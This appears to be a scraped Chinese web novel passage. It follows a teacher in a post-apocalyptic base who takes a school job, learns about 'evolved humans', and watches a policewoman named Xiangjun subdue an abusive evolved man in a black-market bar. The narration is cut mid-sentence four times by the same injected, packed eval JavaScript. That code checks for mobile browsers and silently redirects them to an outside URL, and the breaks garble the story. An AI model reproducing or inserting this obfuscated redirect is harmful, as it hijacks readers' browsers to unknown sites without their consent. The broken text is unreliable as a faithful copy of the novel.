朱冕心里始终对张琦把凌玖送入污染物之口的行为过不去，看着到处跟别人炫耀是他一个人单挑了A级污染物的张琦，朱冕十分憋屈：“明明是那个女孩带我们完成的任务！你还害死了她……” 话还没说完，朱冕内心就泛起一股没来由的恐惧。 瑟瑟发抖之际，抬头对上张琦阴鸷的视线，才知道对方竟然对他使用了[恐怖暗示]。 很快朱冕就脸色苍白，汗如雨下。 张琦冷声警告他：“我劝你最好忘了在学校发生的事情，如果再不知好歹的提起来，我一定会让你生不如死。” “张琦！” 幸好有人打断了两人的对话，才让他停止了对朱冕的天赋攻击。 见到来人，张琦立刻换了副脸色，谄媚地冲那人笑笑：“我在这儿！” “部长让你去一趟他的办公室！” 猎人部长那可是猎人总部的一把手，张琦顿时心花怒放，所以这是部长看到了他的天份，打算破格让他加入更高级的小队吗？ 猎人部长名叫陆洪，是个长着络腮胡的中年男人。 他坐在办公椅上，低头审视着面前这个看起来有些奸猾的男人：“讲讲这个A级任务，你们是怎么解决的？” 张琦眉飞色舞地讲了一遍，完全省略了凌玖这个人的存在，功劳都包在他一个人身上。 陆洪很快发现问题：“你说你精准的从一众污染物中找到了虫母的寄生体，既然他们长得都一样，你是怎么发现的？” 那会儿张琦已经被虫子寄生了，当然什么都不知道。 他已经刻意模糊了那段过程，然而陆洪还是敏锐地将其挑了出来。 张琦只能含混不清地扯谎：“是……那个虫母体型比其他人稍微大一些，我观察发现的。” 陆洪点了点头：“任务过程中有遇到其他人吗？” “没有！”张琦立刻邀功，“我就只带了个新人，他什么都不会，不论是虫母还是污染源，都是我击杀的！” 陆洪轻笑：“你很厉害。” “总部很快会为你开通加入A级队伍的权限的。” 张琦一走，陆洪脸上的笑容敛去。 他拨通通讯仪，神色有些凝重地对那头道：“她又回来了。” …… 凌玖和乔依回到基地之后，在人口部做了登记，很快就拿到了身份ID。 然后就自生自灭了，甚至连个居所都没有。 乔依看她可怜，把自己家的钥匙交给凌玖：“你可以先住我家，我这个污染值……恐怕得去净化所住院一个礼拜。” 凌玖道谢后，就按照乔依给的地址找寻她家的位置。 基地的城市规模看的她眼花缭乱。 凌玖本以为末世废土之下，人类的生存会回归比较原始的条件，但没想到几十年的时间，科技竟然蓬勃发展至此。 错落林立的高楼，满天飞行的飞行器，灯红酒绿霓虹世界，颇有一种赛博废土的感觉。 从乔依的口中了解到，基地占地面积大约等于末世前两个省会城市，分为上城区和下城区，上城区才是真正的末世“伊甸园”。 那里的人们不需要工作，更不用再接触污染物，基地会负责他们所有的生活开销。 但唯独只有两个缺陷。 一个是上下两个城区不能互通，也就是说去了上城区，就永远没办法回到下城区来。 另一个缺陷就是… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15123344|163843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …需要缴纳八百万。 一个令人望而却步的数字。 下城区的许多居民人生只有一个追求，那就是赚够八百万，去上城区躺平。 但是对于没有天赋能力的普通人来说，一个月三千块的工资，实在不知道哪天才能实现梦想。 凌玖很快找到了乔依的住处。 没想到这样集装箱似的窄小居所，居然也要一个月两千块的房租。 去往伊甸园的路果然缥缈而遥远。 进入基地之后，凌玖的死亡倒计时终于又停了下来。 躺在乔依的单人小床上，凌玖仔细思考着在自己身上发生的一切。 她不是进化人，身份登记的时候登记处的人帮她做过基因检测，她是和乔依一样的普通人。 可她却不像普通人一样会被污染。 不论行走在怎样的污染浓度中，她始终保持着干净的0污染度。 她是污染物的老师，教书几十年，容颜没有一丝变老。 身体没有奇异的形态，更没有被寄生或感染，她也不是污染物。 那她到底是什么？ 那个奇奇怪怪的死亡倒计时又代表了什么？ 凌玖脑袋里一团乱麻，一夜过后，她在乔依的房间里搜寻了一点没什么味道的速食产品勉强填饱肚子，觉得还是得先有个工作。 那就还干老本行吧。 下城区第一中学的教务处。 教导主任推了推眼镜，看向凌玖：“您是数学老师？” 凌玖点头：“数理化都可以教。” “工作经验有吗？以前在哪个学校教书？” 凌玖：……不能说。 所以只好：“没有工作经验。” “哪所大学毕业的？” 末世前的清北大学，说出来恐怕会被当成妖怪抓起来。 于是只能：“……我都是自学的。” 本以为这场面试毫无希望，谁知道教导主任沉吟片刻，居然义正严词地对她说：“凌玖老师，我们目前的师资能力的确十分匮乏，您的资历虽然有点差，但是试讲如果没问题的话，也是可以破格录取的。” 这话的意思就是不看资历。 凌玖有些震惊。 教导主任大概也看出来了，叹息着解释道：“末世之后能够教书的老师本来就很少，再加上基地的普通人只能从事最基础的工作，而且更多注重的是学生的体能教育，文化类课程的老师更是寥寥无几了。” “上面并不注重普通人的教育工作。”教导主任小声道，“很多该读书的孩子都早早出去打工了，更高级的工作都是由进化人来担任。” 所以老师竟然是个稀缺岗位。 半个小时后，教导主任将凌玖带到一间教室准备公开课。 她总算明白教导主任说的“十分匮乏”到底是什么意思了。 讲台上根本没有老师，而是AI在从事教书育人的任务。 有点像末世之前的网课，但经过几乎断代的几十年时间，AI讲出来的课程也变得干枯生涩。 凌玖就这么坐在台下看着AI干巴巴地将三角函数诱导公式复杂的输出了四十分钟。 台下的学生们都昏昏欲睡。 四十分钟就讲了这么一个知识点，这教学能力……果然没办法和末世之前比。 终于轮到凌玖。 她站在台上，调整了一下扩音器，擦掉AI上节课留下的密密麻麻越绕越复杂的板书—— “十个字学会三角函数诱导公式。” “奇变偶不变，符号看象限。” 7.泉水 凌玖生动形象地将三角函数枯燥复杂的诱导公式归纳到一句顺口溜里。 她也实在没想到，末世之前一句人人都会背的“奇变偶不变，符号看象限”竟然让她在末世超神了。 台下的学生们都瞪大眼睛，刚刚还在昏昏欲睡的也露出了眼前一亮的表情。 更有学生举手表扬她：“老师，你是怎么想到这么精炼还顺口的口诀的？您太厉害了！” 凌玖：……都是古人的智慧。 一堂十分轻松的公开课，凌玖最多发挥了金牌教师的三成功力，居然在下课后迎来了教导主任、校长和教育局委员的三重接待： “凌老师！我从未见过像您这么优秀的老师！” “您的课程简直是轻松易懂！幽默有趣！” “能拥有您这样的老师，普通人将拥有更充实的文化素养，从事更高级的工作岗位！” 毫无意外的，凌玖被破格录取了。 作为为数不多的人类教师，凌玖甚至能拿到一个月八千块的高工资。 只是凌玖始终不太明白，基地的科技水平应该不低，人类的教育怎么能贫困如此？ 课后教导主任才叹息着向她解释：“医疗、工业、金融之类的普通人能够从事的工作，都已经被AI替代了，本来上面是打算完全用AI替代教育的，幸亏教育委员一直在反对这个事情。” “教育是需要人文关怀的，AI哪里能做的到啊。” “咱们学校都是普通人吗？进化人在哪里上学？”凌玖问。 教导主任撇撇嘴：“进化人才不需要在我们这里读书呢。” 教导主任的一番解释，也算是让凌玖明白这个世界上为什么会有“进化人”这种明显超出自然理论范畴的人类存在了。 原来起初末世降临的时候，人类是毫无招架之力的。 一场污染病，让全球大半的人类死亡，还有一大部分变成了没有思维和记忆的污染物，只有小部分人幸存下来。 以当时人类的力量，根本不可能战胜污染物，更别提夺回被污染物霸占的家园了。 人类存亡危在旦夕，意外之下，人们发现借助污染辐射，可以让普通人类获得一些超出常人的力量。 也就是现在已经完全形成体系化的“天赋”。 而这些拥有天赋的进化人拥有了可以对抗污染物的能力，却丧失了人类最基础的生育能力。 时间久了，进化人的产出成为了一条生产线。 将人类胚胎人工培育，在其还是一枚受精卵的时候，就开始进行适度的污染辐射，长大成人的孩子天生就会觉醒天赋力。 这些进化人从小在孵化他们的培育中心长大，接受独属于进化人的教育，十八岁成年之后就可以离开培育中心。 这个培育中心还有一个梦幻般的名字—— 泉水。 教导主任叹道：“泉水里出来的进化人主要工作就是出去收集污染物的孢子，可以获得丰厚的酬金。” “而且对于进化人来说，基地给予他们的生活补贴是我们这种普通人根本不敢想象的。” “舒适的房子、免费的饮食、还有专门的娱乐场所，简直就是人上人啊。” 听起来普通人的生活真的是毫无希望的样子。 教导主任却眼睛一亮：“不过还好我们还有伊甸园啊！只要攒够了钱进入上城区，生活比进化人还要舒坦呢。” 凌玖：“八百万而已，只需要月薪八千不吃不喝干八十多年。” 教导主任：…… 凌玖当天就在下城区第一中学入职了。 放学回家的时候，凌玖没有飞行器，就只能在路边等公共交通。 “凌老师！” 身后突然有人激动地叫她，凌玖回过头，才发现是那个在公开课上举手表扬她的男生。 他此时正坐在一辆豪华的飞行器里，准备起飞。 “凌老师，我们可以送你回家！” 男孩探出头来，他身旁还坐了一位带着眼镜的知性女人。 男孩名叫方青雄，他身旁的女人是他的姐姐方青羽，凌玖上了车才发现他姐姐肚子很大，应该是孕晚期了。 凌玖不好意思地说：“抱歉，没想到您怀孕了，还得送我回家，给您添麻烦了。” 方青羽淡笑着摆手：“不碍事的凌老师，飞行器很宽敞，听小雄说了，您讲课非常好！能送您回家是我的荣幸。” 方青雄咋咋呼呼的，看样子他们家庭条件很不错，兴高采烈地跟凌玖炫耀这台飞行器有多么高级：“凌老师，说起来您和我姐姐很像呢，都是高知女性！” 方青羽笑道：“您别听小孩子瞎说。” 方青雄骄傲地说：“我姐姐可是普通人中的佼佼者，目前在研究所供职，那些污染度抑制剂都是我姐姐研发的！” “我姐夫也相当厉害！他是下城区护卫队的副队长，两个人都是我的榜样！” “就是我姐姐太不听话了，都怀孕八个月了还要工作，我和姐夫都想让她在家好好养胎呢。” 凌玖道：“末世之前还有很多人临盆前都在工作的。” “怀孕的确很辛苦，但如果可以做一些令自己有成就感的事情，你姐姐应该也会很快乐。” 方青羽目光闪烁，感动地望着凌玖。 她声音有些抖，心情也明显激动起来，对凌玖仿佛相见恨晚：“没想到您会这么说，我周围所有的人都在劝我回家休息。” “其实研究所的工作不累，大多时候都是坐着的，我喜欢鼓捣那些东西。” 凌玖：“只要身体承受的住，您想做什么都是您的自由。” 方青羽垂眸片刻，像是遇到了知己：“说实话，我这么坚持的原因主要是在进行一项新的项目，如果这个项目成功，那么抑制剂对普通人的效率将大大增加，只需要一针抑制剂就可以将污染值从临界的80%降到20%以下。” 污染值超过80%会立刻转化成污染物，而20%以下的污染值，普通人甚至连净化所都不需要进，完全可以自行恢复。 功效如此卓越的抑制剂一旦研发出来，的确是人类之福。 方青羽十分憧憬的说：“我很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126924|163843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 期待那一天，我想要像香君一样成为人类英雄。” 凌玖：“香君是谁？” “香君是一位普通人类女性，但她并不比S级进化人差。” 方青羽没有细说，不过不论是几十年前的和平年代还是现在，人口都是第一生产力。 生育似乎永远都是女性无法逃脱的任务。 尤其对于不需要从事太高难度工作的普通人来说，女性更多的则是在家相夫教子。 方青羽道：“不过我的丈夫很尊重我，等我生产过后身体恢复，就可以全身心的投入工作，孩子我们会找保姆照料。” 对于他们这样的家庭来说，这的确不算什么经济负担。 方青雄见两人聊的这么投缘，连忙邀请：“凌老师，您是一个人住吧？要不今晚顺便到我家吃饭？” 蹭了车已经让凌玖很不好意思了，再去吃饭恐怕有点…… 方青雄：“姐夫弄来了一箱大闸蟹，这东西现在很难吃到呢！” 凌玖：……馋了。 实在不想回去吃乔依味同嚼蜡的速食品了。 在姐弟俩的盛情邀请之下，凌玖从善如流地去了方家。 方家可比乔依的小蜗居要气派多了，住的是二百平的大平层，据说是方青羽丈夫单位分配的房子。 家中的保姆阿姨已经将饭菜端上了桌，只等方青羽的丈夫张冲下班。 一大桌香喷喷的饭菜，一般人家在这种末世哪里见过这么丰富的食材—— 青椒肉片、水煮牛肉、清蒸鱼……还有一大盘红彤彤的大闸蟹。 凌玖口水都要流出来了。 可惜辛苦搞来大闸蟹的张冲本人却没有口福。 临近下班时间，张冲打了视频电话过来，说自己恐怕没办法回来吃晚饭了。 全息投影就映在餐厅正前方—— “青羽，今天身体怎么样？” 张冲英挺帅气，身上穿着军装，看向方青羽的眼神温柔极了。 两人聊了几句，张冲才注意到桌上凌玖，方青羽连忙向他介绍：“这位是小雄的新老师，凌玖老师，她讲课很厉害，小雄很喜欢凌老师。” 凌玖跟张冲打了招呼，对方礼貌地说：“抱歉凌老师，贵客到访我却没办法回来，下次一定再请您吃饭。” 凌玖礼貌笑道：“您客气了，工作重要。” 张冲的眉宇间闪过一丝郁色，对方青羽几人道：“这次问题的确很棘手，还记得基地东北方向的焦炭山谷吗？” 方青羽点点头：“就是那片总是莫名其妙着火的山谷？” “没错，猎人总部派了一个S级小队过去，结果……全军覆没，两名S级进化人，五名A级和八个B级进化人，都死在了山谷里。” 张冲展示了一张通讯员临死前传回来的画面。 视频很模糊，但仍然十分震撼。 一只灾难片中才会出现的几十米高的哥斯拉张牙舞爪的大吼着，然后被能够像奥特曼一样变换身形的S级进化巨人……拔起一根大树，粗暴地戳进它嗓子眼儿里。 凌玖：…… 8.香君大人 张冲传过来的视频虽然很模糊，但凌玖还是一眼就能够辨认……视频里那个憨憨身影是谁。 凌玖不知道该怎么形容自己此刻的心情。 她最不争气的学生……竟然成了S级の恶霸？ 视频里的张冲仍然一副焦头烂额的模样，对哥斯拉的形容仿佛它是什么核弹级别的威慑：“这个怪物能够吐出高达六千度的烈焰，比太阳表面的温度还要高，可以瞬间将一切灼为焦炭！” 方青羽姐弟面露惊恐：“好恐怖！” 凌玖心虚附和：“确实！” 温度其实是可以调节的，以前凌玖经常让哥斯拉帮她烤肉，水平堪比米其林。 张冲又道：“它的皮肤拥有坦克级别的坚硬度，普通的热武器根本无法伤它分毫！” 方青羽姐弟：“那岂不是攻防都很强悍？！” 凌玖继续心虚：“的确很厉害……” 不对啊这家伙脸皮是厚了点，但凌玖记得某次用教鞭抽了一下它的尾巴，它就蜷起来哭了来着，也没那么硬吧？ 张冲烦恼地说：“也不知道这样的怪物到底是哪来的，科学院至今没有找到它的污染变异规律，而且他的思维很敏锐，用硫酸弹攻击的时候它竟然懂得用石灰石防御，就像学过高中化学似的……” 某位人民教师：…… 这种既欣慰又觉得有点愧对人类的心情到底是怎么回事？ “不过我们也不算完全失利。”张冲接着又放出了几张哥斯拉被进化人打的照片，除了做核酸那张，还有冰系进化人冻住哥斯拉的照片，以及雷电进化人劈它的照片。 隐隐还能看到哥斯拉手臂上的血迹。 张冲每划过一张照片，凌玖的手指就捏紧了一分。 一种植物！ 这些混蛋进化人竟然敢这么欺负她的学生？！ 所有对人类的愧疚情绪都抵不上哥斯拉手臂上的这一滩血。 绝不是护犊子，凌玖是真的觉得她的学生不是那种会危害社会的人（怪物），分明是这些进化人太猖狂了，就因为哥斯拉长得丑就非得消灭它吗？ 它会喷火也不是它的错，怎么就看不到他身上的优点呢？ 它只是一个懂一点化学、聪明的、会烤肉的小可怜而已啊。 张冲在视频那头叹息道：“指挥中心正在组织新的特派队去处理这只S级污染物，这次除了加倍的进化人团队，我也得带护卫队过去，据说秦渊也会去。” 方青雄满眼崇拜：“秦渊？是战神秦渊？” “那这次肯定稳赢！这个世界上就没有秦渊打不死的污染物！” 凌玖神色凝重。 哥斯拉危。 虽说它们早就毕业，可一日为师终身为母，凌玖绝不可能放任自己的学生被人欺负。 她得想想办法。 为了保证居民的安全，除非拿到派遣任务的编队人员，普通人是不能随意离开基地的。 所以只有混进针对哥斯拉的S级任务特派队，才能接近哥斯拉。 饭后凌玖试着向方青羽打听了一下进入特派队编制的可能性。 从官方入队对于她现在的身份来说，几乎是不可能的事情。 对于这种危险程度很高的S级任务特派队，战斗队员都是高级别的进化人，哪怕后勤人员也都是指挥中心精挑细选具备一定战斗能力的人才，普通人根本无法进入。 方青羽的丈夫张冲虽然是下城区护卫队的队长，但是此次行动他也只有带队权，没有选拔权。 只能另谋他路。 凌玖在论坛上混迹了几日，结果还真有人联系她，说有办法带她混入特派队。 不过具体到底怎么操作他全程都在打暗号，要求今晚去黑市的一家酒吧接头，到时候再细谈。 凌玖收拾了一下，穿了件不怎么显眼的黑色帽衫，混入夜色中。 基地的黑市在下城区边缘处的一处地下隧道里。 那里荒废已久，属于三不管地带，渐渐的很多见不得人交易都会在此进行，黑市逐渐也成了指挥中心默许的地带。 伴着一股下水道的腥臭味，凌玖挤入行色匆匆的人群，终于在通过狭长的隧道之后，见到了黑市的全貌。 这里才是真正的赛博街区。 地面是脏污的泥水，房子简陋破败，但炫彩的霓虹灯让这种破败多了些迷失的味道，街道四处可见全息投影的广告。 赌场、妓-院、酒吧、斗兽场…… 街上的人们或酩酊，或行尸走肉，亦或者目露凶光。 凌玖往下压了压帽檐，从街角拐弯进入了音乐嘈杂的酒吧。 里面光线昏暗，味道也不怎么好闻，不算太大的舞台上有几个舞娘正在跳舞。 凌玖在吧台找了个僻静位置，随便点了一杯酒。 接头人说会在衣服口袋里插一只红玫瑰，凌玖逡巡了半晌也没见到带玫瑰的人，注意力不免放在了那个与她学生们年龄相仿的侍应生身上。 侍应生姑娘穿着短裙，忙碌在各个卡座之间，她看起来也就十六七岁的年纪，和乔依差不多大。 本该是在学校读书的年纪。 她托盘里端着酒，弓着腰对每一位客人赔笑，眼神里是遮掩不住的疲惫。 不少男人都视线黏腻地打量她，她却仿佛看不到，大概是早就习惯了这种凝视。 中间最大的那一桌刚点了一套皇家礼炮，聚光灯打下，DJ在台上卖力欢呼，几名侍应生恭敬地将酒水送了过去。 站在最边缘位置的侍应生一把被卡座的客人搂住了腰。 正是那位十六七岁的姑娘。 她面露惊慌，却只敢陪笑着推拒：“客人，我只是送酒的……” “装什么清高！你们这种下等人，被我看上是你的福分！”影影绰绰的灯光打在那人脸上，凌玖总觉得他有些熟悉。 他身旁的男人冲侍应生扬了扬拳头，那拳头瞬间变大了好多倍，青筋暴起。 周围传来唏嘘声：“是进化人！” 被骚扰的姑娘两眼含泪，呆呆的站在原地不敢动弹。 没人敢上前阻止。 搂住姑娘的进化人瘦瘦高高，长手一揽，语气更加张狂：“怕了吧？你们知道老子是谁吗？” “独自完成A级任务，被猎人总部的部长亲自提拔的珍惜天赋能力进化人！信不信老子发动天赋，分分钟让你们这些杂碎吓得尿裤子？” 这刺耳的公鸭嗓唤回了凌玖对这个人渣的记忆。 哦。 就是那个为了逃命把她推向S级怪物的张琦啊。 张琦这次没跟朱冕在一起，同桌的几个进化人应该都是他的跟班。 普通人和进化人之间的差距是望尘莫及的，不仅在律法、待遇和规则上进化人会享受优待，他们天生携带的超出常人的天赋能力更是普通人敢怒不敢言的存在。 根本没有人敢说不。 即便酒吧里还有其他的进化人，但作为同类，即便他们没有类似张琦这种过火的行为，却也并不觉得张琦的做法有什么不妥。 有些等级差距好像是与生俱来、理所应当的，在普通人和进化人之间划了一条分明的红线。 台上的DJ划出一首曲子，试图掩盖发生在中央区卡座的恶行，一切好像又变得歌舞升平。 与小姑娘一起的侍应生只能同情地看她一眼，悄悄退去。 “放开她！” 张琦正打算把姑娘搂进怀里，就听到身后响起一道清丽的女声。 “哪个不长眼的，老子刚刚说的话没听见吗……” 张琦不耐地转过头，张狂不耐的表情定格，眼中染上了一丝恐惧：“是……是你？你没死……” 凌玖趁张琦怔愣的空隙， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15132818|163843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迅速将侍应生姑娘拉了起来，挡在身后。 “怎么，我应该死吗？” 张琦有些慌张，但很快又厉声道：“不可能！那可是S级怪物，被它吃了你怎么可能活着！你肯定被污染了，我要报告给指挥中心！” “你是亲眼看着我被S级怪物吃掉的吗？”凌玖向前一步，平静地看着他，“你当然没有看到了，因为你把我推向怪物之后，就头也不回的逃跑了呀。” “这是……出卖队友？” “这可不是简单的出卖了，这是谋杀……” “猎人部长怎么会提拔这种人啊……” 人群中议论纷纷，张琦气急败坏地解释：“什么队友！她根本不是我的队友！就是当时出任务的时候碰到的一个野人，她……” 张琦想把凌玖身上的疑点和盘托出。 污染值不会受到污染物的侵袭，明明已经被S级怪物吞进去了怎么可能活着出来…… 可话到嘴边，还是生生止住了。 一旦凌玖的身份被曝光，那么他所谓的“独自”完成A级任务的谎言就会被戳破。 他好不容易以B级进化人的身份进入了S级编队，不能功亏一篑！ 不过是个走了点狗屎运的普通人而已，他只需要私下想办法捏死她…… 那么虫母任务的真相就永远不会被发现！ 张琦没有再啰嗦，立刻发动全身的力量释放天赋。 [恐怖暗示]可以进行单人攻击，但当他使出全力的时候，过于强大的能量会使恐惧外泄，造成范围攻击。 整个酒吧顿时陷入了一片惶恐之中。 尤其是普通人。 音乐中断，连台上的DJ都满脸惊惧跌坐在地。 在张琦附近的人们更是情不自禁地因为莫名的恐惧而颤抖尖叫。 张琦胸有成竹。 可他面前的凌玖……却岿然不动。 像是半点没有感受到他的攻击力。 绝不可能！ 张琦加大了攻击力度，因为拼尽全力而变得冷汗涔涔。 半分钟过去，他因为脱力而瘫坐在卡座上，颤抖着说：“你……你到底是什么怪物，竟然不怕[恐惧暗示]……” 凌玖其实也在好奇，为什么人人惧之的天赋她根本感受不到。 不过当了怪物毕业班这么长时间的班主任，她最擅长临危不乱，哪怕心里疑窦丛生她也能做出一副稳如老狗的样子。 她推了推眼镜，双手环胸斜睨张琦，属于班主任的威压与整个酒吧格格不入。 甚至有种[恐怖暗示]是从她身上释放出来的错觉—— “我只知道……你很怕我。” 张琦视线闪躲，身体不自禁的往后靠了靠。 但这只是身体下意识的反应，很快他的理智就占据上风。 不怕精神类天赋，就不信物理攻击也没有效果！ 张琦咬了咬牙，冲身旁的小弟吼道：“老二，揍她——” 老二就是刚刚拳头能够变大的那个进化人。 一阵凛冽的拳风迅速朝凌玖的面门袭来，那只拳头也在瞬间增大数倍。 就在拳头即将碰到凌玖鼻子的瞬间，一只强劲有力的手堪堪握住了他的手腕。 巨拳竟然动弹不得。 是一位穿着警服的高大女人。 她拧了拧眉，紧握住那个进化人的手腕，充满力量感的小臂竟真的制止了一个力量型进化人。 然后轻轻冲凌玖侧了下头，示意她躲到自己身后。 “寻衅滋事，无故欺辱猥亵未成年少女，进化人也是要遵循法律的。” “你们几个被逮捕了。” 明灭的灯光洒在女警的帽檐上，遮住了她大半昳丽的容颜。 人群中传来兮兮索索的惊呼声—— “是香君！是香君大人！” 9.Deity 酒吧里音乐停了，但头顶的光柱还在旋转。 一道金色的光打在了女警的脸上。 像旭日清晨初升的绯红云霞。 太漂亮了。 凌玖从来没见过这么美的人，这张脸就算登上大荧幕，也绝对是数一数二的存在。 美艳、昳丽、明媚所有美好的词汇凝成了这张脸，但那种坚毅、勇敢、强大的气质却为这张脸改写了颜色。 原来……她就是香君。 就是方青羽口中那个“虽然是普通人，却比S级进化人还要强大”的存在。 香君摘掉警帽，露出一头利落的短发，让那张美到充满攻击性的脸更添一抹凛冽的气质，没有人敢用凝视的眼光看她，只有崇拜和欣赏。 她淡淡抬起眼睫，仿佛多看那几个人渣一眼都多余：“把他们拷起来。” “是！警司长大人！”身后的几名警司带着手铐上前。 张琦从卡座沙发上爬起来，冷哼一声，半分没有把这位普通人眼中偶像一般的存在放在眼里：“一个女人，把肌肉练这么大块就能耍横了吗？你不过就是个普通人！老子可是进化人，等老子的天赋提升，分分钟把你压在床上揉圆搓扁……” 张琦一边放狠话一边张狂的淫-笑着，看向香君的眼神也变得龌龊起来。 他身旁的几个进化人也笑道： “大名鼎鼎的美女警司长香君，只看脸的话还是够味的……” “也真是的，长得这么漂亮躺着就能过好生活了呀，偏偏把肌肉练得跟牛蛙似的，一点美感也没了……” “谁知道她脱掉衣服什么样子哈哈哈哈……” 香君的背脊依然挺的很直。 周围的普通人都紧张地看着她，或担忧，或害怕。 针落可闻的安静，没有人敢说话。 因为对于普通人来讲，香君的存在是偶像，是榜样，是一种图腾。 她以普通人的身体素质成为痛击污染物丝毫不逊于进化人的存在，正是在向普通人这个底层的群体昭示着，他们并不是低人一等的蝼蚁。 他们不是不能站在金字塔尖。 但面对这几个进化人的挑衅，他们却犹豫了。 从前不是没有过对进化人恶劣霸权的抗争，可无不以失败告终。 再强大也不过是肉体凡胎的普通人，进化人拥有的天赋……可是神力。 这种上天赋予的差距，仅凭努力是永远也没有办法追赶的。 香君的确可以在污染物战场上潇洒驰骋，但她真的能对抗进化人吗？ 张琦几人仍在毫无顾忌的污言秽语，就在所有人都以为香君会屈服的瞬间—— 她突然一个利落转身，抓住张琦的肩膀和小臂轻巧一甩，肩胛骨脱臼，她卸了张琦的手臂。 等张琦反应过来时，胳膊已经不能动弹了。 他瘫在沙发上，疼的张牙舞爪狰狞叫喊：“啊啊啊你这个死娘们！老子一定要弄死你！你们还愣着干什么，上啊，她不过是个女的！” 话音落下，张琦就咬牙切齿的发动天赋，一股油然而生的莫名恐惧再次袭上众人心头。 香君的眉心也蹙了一下。 但很快，她的眸光就变得更加凛冽，抬手迎上朝她袭击而来的巨大拳头。 女性的肌肉不像男人一样虬结，但她手臂上的每一丝线条都结实精巧，蕴含着庞大的能量，狠狠接住了那个力量进化人的拳。 甚至那名力量进化人都被打退了半分。 趁他怔愣的片刻，香君以娴熟的格斗技巧迅速攻击他的各处软肋，不过几秒的功夫就让他跪倒在地。 而此时另一名一直未出手的进化人指尖凝出了一支尖锐冰锥，迅速朝香君袭来。 凌玖连忙惊叫提醒：“小心！” 香君立刻心领神会，利落的侧头避过，然后在冰系进化人下一道冰器未凝结之前，掰断了他的手指。 刚刚还趾高气昂的几个进化人四散跌倒，成了一滩只会哭爹喊娘的烂肉。 酒吧里顿时爆发出激动的喝彩，台上的DJ用节奏引导大家欢呼： “香君！香君！香君——” 香君摆了摆手，面色依然平静，示意手下将那几个杂碎铐起来带走，然后对众人道：“黑市并不是可以逍遥法外的地方。” “只要我还是下城区警司长，就会尽力保证每一个人的安全。” 欢呼的声浪几乎淹没了香君一行人离开酒吧的身影。 她就像一个神，光辉而强大。 只有凌玖注意到了香君离开时藏在身后的手臂。 那只手没有丝毫血色，甚至有些肿胀僵硬，就那么无力的垂着。 是严重冻伤。 应该是香君在制伏最后那个冰系进化人时，对方的天赋力已经凝结在手上。 香君肉体凡胎……硬生生的承受了冰霜急冻的威力。 原来她并不是人们想象中的那样强大，她只是……比其他人更坚强。 伟大的警司长在人们的簇拥下离开酒吧。 警司们押着三个进化人先走了出去，香君却在酒吧入口的位置停了下来。 她回头望了一眼，透过影影绰绰的人群，看到了刚刚被她挡在身后的身影。 她的眼神中罕见地划过一丝柔意，唇角微不可闻地挑了一下，指着路过的侍应生托盘中的花瓶问：“能把这支玫瑰花送我吗？” 侍应生和香君对上视线，面色羞的通红，连连点头，然后抽出那支玫瑰递到香君手里。 她低头轻嗅，将玫瑰花插在制服的上衣口袋里，转身离开。 去送香君离开的人实在太多了，凌玖就没去凑热闹。 正准备离开，打扫刚刚闹事卡座区域的侍应生突然道：“女士，这是您的项链吗？” 凌玖这才发现在她脚下有一条银链。 是最普通的款式，没有任何装饰和花纹，细细软软一条。 将项链拾起，凌玖正打算说这不是自己的，可就在她手指接触项链的瞬间，久未出现的系统界面再次在她面前弹窗—— 【恭喜宿主解锁天赋力：创物】 天赋力？创物？ 能够 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15137842|163843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解锁天赋，她难道是进化人？ 可是进化人不都是天生携带天赋的吗，没听说哪个普通人半途解锁天赋的啊？ 还有这个创物，是什么能力？ “女士？女士——” 侍应生拍了拍凌玖的手臂，指着躺在她掌心的项链：“您记得看管好自己的贵重物品，如果遗失本酒吧概不负责的哦。” 沁凉的项链向她的掌心传递出如水一般柔和的能量，凌玖怔愣片刻，握紧拳心，然后又松开：“不好意思，这条项链不是我的。” 侍应生纳闷的把项链送去失物招领处，打算看看监控是谁遗失的。 凌玖心事重重的回到吧台原本的座位上，酒保看到她过来，兴奋地打招呼：“你刚刚太帅了！居然敢跟进化人叫板！” 